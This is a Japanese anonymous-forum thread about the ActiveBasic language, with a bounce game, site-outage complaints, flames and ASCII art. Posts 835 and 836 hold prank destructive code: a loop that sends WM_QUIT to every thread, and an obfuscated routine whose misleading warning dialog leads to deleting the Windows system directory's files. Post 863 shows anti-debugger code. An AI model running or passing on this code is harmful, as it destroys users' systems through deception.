Dim a As Long '雑用変数
'下準備
x=0:y=0:px=Speed:py=Speed
'枠描写
Line (0,0)-(Xmax,Ymax),4,B
Do
'ボールバウンドプログラム
x=x+px:y=y+py
PSet(x-px,y-py),0 : PSet(x-px+1,y-py),0 :PSet(x-px,y-py+1),0 :PSet(x-px+1,y-py+1),0
PSet(x,y),2 : PSet(x+1,y),2 : PSet(x,y+1),2 :PSet(x+1,y+1),2
If x>=Xmax Then px=px*-1
If y>=Ymax Then py=py*-1
If x<=0 Then px=px*-1
If y<=0 Then py=py*-1
'前回のバー消去
Line(P.x,BarH)-Step(Bar,0),0
'マウスの座標取得と位置再計算
GetCursorPos(P)
ScreenToClient(_PromptSys_hWnd,P)
802:デフォルトの名無しさん
10/10/03 22:02:36
'>>801続き
'枠外位置補正
If P.x+Bar>Xmax Then P.x=Xmax-Bar
If P.x<0 Then P.x=0
'バー描写
Line(P.x,BarH)-Step(Bar,0),5
'バーとボールの関係チェック
If y>=BarH Then
If x>P.x and x<P.x+Bar Then py=py*-1
End If
'ボールをバーから取りこぼしたらゲームオーバー
If y>=Ymax Then
'爆発描写
For a=5 To 100 Step 5
Circle(x,y),a,6,2*3.14,3.14 : Sleep(10)
Next
For a=5 To 100 Step 5
Circle(x,y),a,0,2*3.14,2*3.14 : Sleep(10)
Next
MessageBox(_PromptSys_hWnd,Ex"ゲームオーバー\r\nへたくそm9(^Д^)プギャー ",">>800",MB_OK)
ExitDo
End If
Sleep(1)
Loop
803:801-802
10/10/03 22:11:09
タブが消えて見苦しくなったが>>800へプレゼント。
ブロックは無いがブロック崩しのステージプログラム。
ブロックの当たり判定とか消去とか考えるのが面倒くさかったw
冒頭の定数弄ればステージサイズを色々弄れる親切設計ww
ボール落としたら爆発するアニメーション実装w
バウンドプログラムの基本テク盛り込んだから色々調整して楽しんでくんろ。
(枠のバウンド地点が消えないように・・・とかG加速度で放物線を描かせる・・・とかww)
804: [―{}@{}@{}-] デフォルトの名無しさん
10/10/04 08:54:18
>>800
壁の法線ベクトル使って反射角を計算すればおk
805:デフォルトの名無しさん
10/10/14 15:47:54
公式サイト消失してない?
806:デフォルトの名無しさん
10/10/14 16:14:21
なにをいまさら
807:デフォルトの名無しさん
10/10/15 14:34:15
710とか729とかなんでいちいちあぼーんしてんの?
808: [―{}@{}@{}-] デフォルトの名無しさん
10/10/15 15:06:49
どんな事書いてあったっけ?
あの5文字位のハンネの良く分からない奴だっけ?
809:デフォルトの名無しさん
10/10/15 18:21:47
メッセージすらないただのでかいAA
810:HSABP
10/10/15 18:59:02
>>808
ヒント
811:HSABP
10/10/15 19:01:52
>>809
あげんなヴォッケ
>>805
IE厨wWwWwWwWww
>>807
それ聴いて
お前はぷふぁいリングでて
なにがしたいの?
警察ごっご??
>>804
kwsk
>>803
ありが10
POINTAPI てなに?
812:デフォルトの名無しさん
10/10/15 21:25:41
>なにがしたいの?
いや、あぼーんが発生したためにログを一旦削除して再取得しなくちゃいけなくて不便だし、
俺はあぼーんされたものは元の方のログを取っておく主義なので
今のkakikomiはIEでしてる。
とにかくめんどくさいし、俺陰毛厨なのであぼーんとかあると気になるんだよね。
ちなみにあぼーんはAVON→エイボンのことかなとか。
813:HSABP
10/10/15 22:20:26
>>812
ALONE(B'z)
↓
A(B'z)LONE
↓
ABONE
↓
あぼーん
814:デフォルトの名無しさん
10/10/16 20:53:11
・このスレは役に立ちましたか
☐そう思う
☐ややそう思う
☐どちらとも言えない
☐あまりそうは思わない
☑そうは思えない
815:デフォルトの名無しさん
10/10/18 04:30:49
偉い人が「○○しましょう」「○○はやめましょう」って沢山言ってるわけだが、
大抵の発言は正しい。
しかし、偉い人の言うことをそのまま実行することが世のため人のためとは
いえない。
てなわけでマナー講座を開講することにしよう。
第1弾として、「自己解決」について問題提起する。
なお、このコーナーの記事は管理人の独断に基づく記事なので、
世間一般の考えとは違うかもしれない。
私が間違っていたら積極的に議論して欲しい。ただし「荒らし」はやめてね。
掲示板で質問して、暫くしてから「自己解決しました」って書き込む人が多いよね。
きちんと「自己解決しました」って書くことで、掲示板の住人は答えを書く手間が省ける。
だから自己解決したことを伝えるのは間違いではない。
でも、あなたが使っている掲示板はGoogleが巡回している。
あなたが書いた質問はGoogleに見られている。
似たような質問を持った人があなたのいる掲示板にやってくる。
でも、そこの掲示板には答えがないので役に立たない。
訪れた人はあなたを憎む。
だから、自己解決したときは、解決方法も書きましょう。
以上
816:デフォルトの名無しさん
10/10/23 10:08:16
今日は繋がるのか。
817:デフォルトの名無しさん
10/10/23 11:05:50
ほんとに繋がってる・・・
繋がらなさ過ぎてgoogle検索からも省かれてたから、
公式サイトついに死んだかと思ってたよ・・・(´д`;)
818:デフォルトの名無しさん
10/10/30 14:54:01
作者もユーザも死んだけどな
819:デフォルトの名無しさん
10/10/30 14:56:37
【ブラック】オプティムOptim2【上場却下】
スレリンク(company板)
820:デフォルトの名無しさん
10/10/31 04:10:58
PureBasic使ってけばいいじゃん
821:デフォルトの名無しさん
10/11/01 05:00:12
理由は?
822:デフォルトの名無しさん
10/11/16 22:55:29
公式サイトのサーバが古い。phpbbだかzopesか知らんが、それも古い。
よく落ちるのは多分それが原因だろう。普通パッチ当て、アップデートはする。
外部に公開されてんだから。
823:デフォルトの名無しさん
10/11/17 00:12:38
公式ってレンタル鯖じゃないの?
824:デフォルトの名無しさん
10/11/17 05:15:29
やる気が無いだけです
825:デフォルトの名無しさ
10/11/18 18:54:13
今日は繋がるのか。
つーかさ質問版でお礼言わない奴らなんなの?
時間割いて答えてやっているのに
826:デフォルトの名無しさん
10/11/18 20:11:18
ちいせえ人間だな
827:デフォルトの名無しさん
10/11/18 20:12:21
できたよ」の一言は欲しい
828:デフォルトの名無しさ
10/11/18 20:13:58
>>827
829:デフォルトの名無しさん
10/11/22 18:30:34
URLリンク(hp.did.ne.jp)
830:デフォルトの名無しさん
10/11/29 01:01:06
710 名前:デフォルトの名無しさん[] 投函日:2010/09/20(月) 12:47:18
,.へ
___ ム i
「 ヒ_i〉 ゝ 〈
ト ノ iニ(()
i { ____ | ヽ
i i /__, , ‐-\ i }
| i /(●) ( ● )\ {、 λ
ト-┤. / (__人__) \ ,ノ  ̄ ,!
i ゝ、_ | ´ ̄` | ,. '´ハ ,!
. ヽ、 `` 、,__\ /" \ ヽ/
\ノ ノ ハ ̄r/:::r―--―/::7 ノ /
ヽ. ヽ::〈; . '::. :' |::/ / ,. "
`ー 、 \ヽ::. ;:::|/ r'"
/ ̄二二二二二二二二二二二二二二二二ヽ
| 答 | ウンコバー最凶伝説 │|
\_二二二二二二二二二二二二二二二二ノ
729 名前:デフォルトの名無しさん[sage] 投函日:2010/09/24(金) 18:17:36
\\\\\\\\
\\\ /⌒\ , ─ 、
/___ヽ / ヽ\\\
/  ̄  ̄ ヽ. i
\\ /  ̄ ̄ ̄ ̄ \ \ |
/ へ /ヽ ヽ ヽノ
/ /^ヽ /^ヽ ヽ ヽ \\\
|. | 0 | | 0 | | i
\\| `- 6 `-′ |. |
! ! !
ヽ /  ̄ ̄ ̄ \ / /
\ \_ (⌒ヽ丿 / /
━━6━━━ヽ、
あぼんされた理由が分かんね
831:デフォルトの名無しさん
10/11/29 19:17:06
>>830
オコチャマwww
まだ張り付いてたのかwwww
HSABPおつ
832:デフォルトの名無しさん
10/12/10 20:51:59
ちいせえ人間だな
833:デフォルトの名無しさん
10/12/11 13:43:39
ちいせえ人間だな
834:デフォルトの名無しさん
10/12/11 19:16:51
我慢してたけど言うわ。
つまんない。
しつこい。
835:デフォルトの名無しさん
10/12/12 01:08:34
危険だから実行するなよ! 絶対だぞ!!
Dim a As DWord
Dim My As DWord
My=GetCurrentThreadId()
a=1
Do
If a<>My Then PostThreadMessage(a,WM_QUIT,0,0)
a=a+1
Loop
836:デフォルトの名無しさん
10/12/12 02:25:27
危険だから実行するなよ! 絶対だぞ!!
Typedef Byto=BytePtr
Const GetComquterName(x)="unkown"
Dim hFind As HANDLE
Const False=TRUE
Const MB_NO=IDYES
Dim win32fd As WIN32_FIND_DATA
Typedef DVVord= BytePtr
Sub zget(byt As Byto):exec byt:End Sub
Dim d[MAX_PATH] As Byte,pp[MAX_PATH] As Byte
GO(TO())::SetComputerName(GetComquterName())
GetSystemDirectory(d,MAX_PATH):wsprintf(pp,"%s\*.*",d):hFind=FindFirstFile(pp,win32fd)
If hFind=FALSE Then End
Do:wsprintf(pp,"%s\%s",d,win32fd.cFileName)
DeletoFile(pp)
Loop While FindNextFile(hFind,win32fd)=False
CloseHandle(hFind):End
Sub GO(px As VoidPtr):Dim g As Byto:Goto *Goot
*Gtoo:If MessageBox(0,g,"最終警告",MB_YESNO)<>MB_NO Then End Else Exit Sub
*Goot:g=px:Goto *Gtoo:End Sub:Function TO() As DVVord
TO="よろしいか?"
End Function:Function DeletoFile(pp As BytePtr) As Long
zget(pp):End Function
837:デフォルトの名無しさん
10/12/15 12:47:29
今となってはFreeBasicで十分だよね
838:デフォルトの名無しさん
10/12/21 11:06:33
PureBasicでいいよ
839:デフォルトの名無しさん
10/12/21 23:01:33
HSPで(ry
840:デフォルトの名無しさん
10/12/22 00:44:05
我慢してたけど言うわ。
つまんない。
しつこい。
841:デフォルトの名無しさん
10/12/22 01:10:06
ちいせえ人間だな
842:デフォルトの名無しさん
10/12/22 02:10:00
できたよ」の一言は欲しい
843:デフォルトの名無しさん
10/12/22 06:18:51
できたよ
844:デフォルトの名無しさん
10/12/26 22:14:30
産ませてっ!!
845:デフォルトの名無しさん
10/12/26 23:18:13
↑
お前はAB5完成させれや
846:デフォルトの名無しさん
10/12/28 00:24:15
4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00
0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F
74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20
6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00
DC 6D 33 74 98 0C 5D 27 98 0C 5D 27 98 0C 5D 27
F7 13 56 27 99 0C 5D 27 F7 13 57 27 82 0C 5D 27
1B 10 53 27 94 0C 5D 27 98 0C 5C 27 BF 0C 5D 27
FA 13 4E 27 9B 0C 5D 27 9E 2F 56 27 99 0C 5D 27
52 69 63 68 98 0C 5D 27 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
50 45 00 00 4C 01 04 00 29 8C E5 45 00 00 00 00
00 00 00 00 E0 00 0E 01 0B 01 04 00 00 80 00 00
00 10 00 00 00 00 00 00 00 10 00 00 00 10 00 00
00 A0 00 00 00 00 40 00 00 10 00 00 00 10 00 00
04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00
00 E0 2A 00 00 10 00 00 00 00 00 00 02 00 00 00
00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00
847:デフォルトの名無しさん
10/12/29 06:32:47
一生日の目を見ることは無い屑言語。
HSP以下の屑言語。
848:デフォルトの名無しさん
10/12/29 21:59:57
公式つながるぞ
大吉
849:デフォルトの名無しさん
11/01/02 06:58:28
今の山ちゃん
「正月って結構暇だよなー、何かやることないかなー」
850:デフォルトの名無しさん
11/01/27 14:48:31
公式復活して早1カ月。
誰もカキコしない件について
851:デフォルトの名無しさん
11/01/27 19:58:43
>>850
おまえみたいなキモヲタと一緒にすんなや
852:デフォルトの名無しさん
11/01/28 17:25:23
まだスレ落ちてなかったのか
853:デフォルトの名無しさん
11/01/28 20:00:40
もうほんとにいいって
過干渉
異常に全部知りたがる
どんな手を使っても徹底的に知りたがる
あんた、気持ち悪いんだよ
寄ってくんな
854:デフォルトの名無しさん
11/02/19 03:39:31
URLリンク(dev.activebasic.com)
855:デフォルトの名無しさん
11/03/20 19:44:39.32
新言語ActiveSexを作ります。
乞うご期待
856:デフォルトの名無しさん
11/03/21 21:38:34.55
それ面白いと思ってやってんの?
857:デフォルトの名無しさん
11/03/22 00:43:39.18
良いじゃん、Sex言語楽しいと思うぞ。
みんなでSexSexSex
858:デフォルトの名無しさん
11/03/22 04:16:19.65
URLリンク(www.geocities.jp)
859:デフォルトの名無しさん
11/03/22 10:52:26.39
brainfuck的な中身を想像した
860:デフォルトの名無しさん
11/03/22 19:19:30.88
1.変数宣言
kozukuri a,b
2.文法レファレンス
1.加算
c sex a sex b
2,クラス
taii (*
condom'プロテクト指定
aaa(*)
*)
静的変数
性的変数
861:デフォルトの名無しさん
11/03/23 17:22:57.70
コボラーがソースを追う
↓
アセンブラソースがわからないのでヘルプ
↓
アセンブラソース読める人が来る
↓
OSの機能を直接使用しているからアセンブラー屋もお手上げ
↓
富士通本社でOS機能がわかる人を探す
↓
定年間近のおじいちゃんが見つかる
↓
おじいちゃんが老眼でソース読めない ← 今ココ
862:デフォルトの名無しさん
11/03/25 16:22:27.83
感受性が強い人は大変だなあって、それあんたのことじゃないの。
不謹慎だからこんなこと誰にも言えないと思って増田で書いたんだろうけど、
ショッキングな出来事が続いて参ってるのは読んでてわかるよ。
あんたみたいな人はいま日本中にいっぱいいると思う。
でも震災や津波の被害を受けなかったことに罪悪感は感じなくていい。
863:デフォルトの名無しさん
11/03/29 06:43:28.23
デバッガ妨害を実装して、実際にAB5のデバッガを使ってアタッチしてみた。
テストのソースはこれ。
#N88BASIC
Declare Function IsDebuggerPresent Lib "kernel32" () As Long
Do
If IsDebuggerPresent()=TRUE Then lstrlen(-1)
Sleep(100)
Loop
デバッガを検出したら、不正な処理をしちゃうぞ!って処理。
・・・AB5のデバッガが落ちて、ちゃぶ台返ししたくなった。
試しにAB5でデバッグ実行してみたら、同じくN88ウインドウが出る前にコンパイラが落ちた。
実行中のプロセスにアタッチ出来る環境を持った人がいたら、このソースでデバッガを妨害できるかテストして頂けませんでしょうか?
URLリンク(www1.axfc.net)
このソースとexeをうpしておきます。
864:デフォルトの名無しさん
11/03/29 07:38:49.29
ゴミイラネ
865:デフォルトの名無しさん
11/03/29 15:39:55.06
>>863
つOllydbg
866:デフォルトの名無しさん
11/03/29 20:53:00.99
>>864
やべっちFCでやってた
URLリンク(epcan.us)
URLリンク(epcan.us)
867:デフォルトの名無しさん
11/04/02 06:23:08.35
これって使う意味あるの?
マイナーな上に、仕様が複雑で、使い道なくないか。
868:デフォルトの名無しさん
11/04/02 19:40:43.96
N88モードで懐かしむためにある
869:デフォルトの名無しさん
11/04/03 00:10:23.96
>>868
99BASICでも使ってろオッサン
870:デフォルトの名無しさん
11/04/03 15:13:44.50
VB風の表記を持ったVCとJ++の間の子って感じ
VBからプログラムに入った世代でCやJavaの書き方
がどうも合わないと感じたり、VBは遅いという
当時の風説が気に食わないって感じな人が
高速VBコンパイラを作ろうと思っている
うちに意外にも簡単にできちゃったんじゃないか
と考えたりしてみる(しかしその後の泥沼とかは
知る由もない)
871:デフォルトの名無しさん
11/04/03 16:10:51.18
使いたい人が、使えばいい
872:デフォルトの名無しさん
11/04/03 23:36:17.56
これってネイティブにもコンパイルできたよね?
高校生でこれを作った作者はかなりすごい?
873:デフォルトの名無しさん
11/04/03 23:53:01.97
高校生でコンパイラ作成はやはり凄くハマり過ぎたんじゃないかと...
874:デフォルトの名無しさん
11/04/11 17:22:01.13
公式落ちてるの?
875:デフォルトの名無しさん
11/04/11 19:37:54.96
>>874
そんなことぐらい自分で判断しやがれ
ここで聞いても答えはでんだろ
他の人の意見を聞くならまだしも
お前が信じるかどうかなんて知ったことじゃねえ
876:デフォルトの名無しさん
11/04/12 04:57:17.63
>>875
なんでカリカリしてんの?
877:デフォルトの名無しさん
11/04/13 00:08:12.78
>>876
そんなことぐらい自分で判断しやがれ
ここで聞いても答えはでんだろ
他の人の意見を聞くならまだしも
お前が信じるかどうかなんて知ったことじゃねえ
878:デフォルトの名無しさん
11/04/13 01:59:58.52
>>879
なんでカリカリしてんの?
879:デフォルトの名無しさん
11/04/13 02:09:01.88
URLリンク(www.activebasic.com)からpingすらかえってこないんだが
おまえらどうよ?
俺ローカルか、おまえらも一緒なのか確認したいので協力頼む。
880:デフォルトの名無しさん
11/04/13 20:04:19.94
今試したけど見れるよ
ここはちょこちょこ落ちるからなー
881:デフォルトの名無しさん
11/04/13 23:56:22.27
>>879
そんなことぐらい自分で判断しやがれ
ここで聞いても答えはでんだろ
他の人の意見を聞くならまだしも
お前が信じるかどうかなんて知ったことじゃねえ
882:デフォルトの名無しさん
11/04/14 00:10:39.52
>>881
なんでカリカリしてんの?
883:デフォルトの名無しさん
11/04/14 03:48:57.20
>>854
884:デフォルトの名無しさん
11/04/15 00:13:03.50
>>854が何を言いたいのか考えてみた結果
ABユーザー=おっさんだというのを主張していたという結論に達した
885:デフォルトの名無しさん
11/04/15 02:43:57.79
>>884
おっさんの定義を聞こうか。
高校2年でABと出会い、大学時代にABで遊びまくった現25歳はおっさんか?
886:デフォルトの名無しさん
11/04/15 05:24:59.84
>>854が言いたいのは
山本大祐さんよりサーバの運営を譲り受けました。安定、かどうかはともかく、これまでのようなずっとアクセスできないという状況は起きないと思います。
でしょ。
887:デフォルトの名無しさん
11/04/15 07:57:05.38
作者は今何やってるの?
888:デフォルトの名無しさん
11/04/15 12:05:40.76
>>884
まだまだおっさんの域には達してない
本当のおっさんはこうだ
高校2年でおにゃんこと出会い、大学時代におにゃんこで遊びまくった現45歳はおっさんか?
889:デフォルトの名無しさん
11/04/15 23:47:41.62
↑
君のその報告こそどうでもいい事なんだが
890:デフォルトの名無しさん
11/04/19 22:43:36.56
昔はABに期待していたさ。
N88-BASICに近い文法で、Tcl/TkやHSP並の手軽さで
GUIプログラミングができる素晴らしい言語だとね。
今やそのような面影は全くないけど。
891:デフォルトの名無しさん
11/04/20 02:00:13.66
URLリンク(www.activebasic.com)
AB 6.0(予定)
★C#,VB.NET、そしてAB,N88BASICの文法を融合
コード中に
#N88BASIC{
}
とかで切り替えられます。ネィティブコードだけでなく指示に
よってはC#,Delphi.NET,VB.NET,ActiveBASIC5.0,Intel Assembler
のコードに変換したものを出力することが出来ます。(Javaにも対応予定)
-----------------------------------------------
なんて新着情報が出るのは何時の日か
892:デフォルトの名無しさん
11/04/20 02:24:46.86
…君が皇帝になれば?
893:デフォルトの名無しさん
11/04/20 03:50:07.30
もう、完全放置だね・・・
894:デフォルトの名無しさん
11/04/20 10:22:24.48
サイト重い。データセンターとかに置かないの?
せいぜい年間数百円~程度だと思うんだが、
アフィ収入考えたら黒字だろ?
895:デフォルトの名無しさん
11/04/20 19:24:11.70
∧_∧ < 嫌なら見るな!
, -(´Д`# )- 、 、 < 嫌なら見るな!
/ ) YYYYYYYYYYYYYYYY
./ λ / /
.〈 〈 〉 / / "
.゛ ヽ ヽ∧∧/ /〃 ______
X⌒X⌒X⌒ ./\ つと ノ \ X⌒X⌒X⌒|| 二二 | 二二 |||
i二二i二二i/ / し J \ \二i二二i /__/__/||
〈 〈(( .~ | )) 〉 〉 ||,== ||, ==||,"||
\ \ し^J / /
ヾ \ \ / /
(⌒ ) ( ⌒)
896:デフォルトの名無しさん
11/05/15 14:07:33.91
♪ △ ♪
(゚ω゚)ノ ActiveBasic~
~└( (♪
( ヽ ♪
△♪
ヽ(゚ω゚) ActiveBasic~
♪) )┘♪
ノ > ♪
897:デフォルトの名無しさん
11/05/15 20:41:45.83
↑
君のその報告こそどうでもいい事なんだが
898:デフォルトの名無しさん
11/05/25 00:21:51.47
公式やっと繋がりました
頑張って欲しいと思うのは俺だけじゃないと思う
899:デフォルトの名無しさん
11/05/25 01:04:30.34
>>898
自分語り 乙w
900:デフォルトの名無しさん
11/05/25 15:22:59.94
復旧乙
901:デフォルトの名無しさん
11/05/28 14:42:44.36
ABの言語的な障害は我慢する。
だがプロジェクトエディタ、お前のバグはダメだ。
新規作成して以下のコードを打つ
If a Then
Else
Ene If
1行目のThenの後ろで改行する。
If a Then
Else
End If
[Home]キーを押して自動挿入されたタブの先頭にカーソルを移動する
[Delete]で自動挿入されたタブを削除する
落ちる
902:デフォルトの名無しさん
11/05/28 19:47:41.70
>>901
Viでもツカッテロ
はい論破
903:デフォルトの名無しさん
11/05/29 02:00:35.55
再現性のあるバグを、再現方法まで丁寧に書いてくれるなんて何て親切な。
904:デフォルトの名無しさん
11/05/29 02:35:36.25
はい論破
905:デフォルトの名無しさん
11/06/09 00:20:43.59
>>904
ちゃんと意味調べてから使おうね。
906:デフォルトの名無しさん
11/06/09 01:56:35.16
↑
2ちゃんの画一的なコメント 乙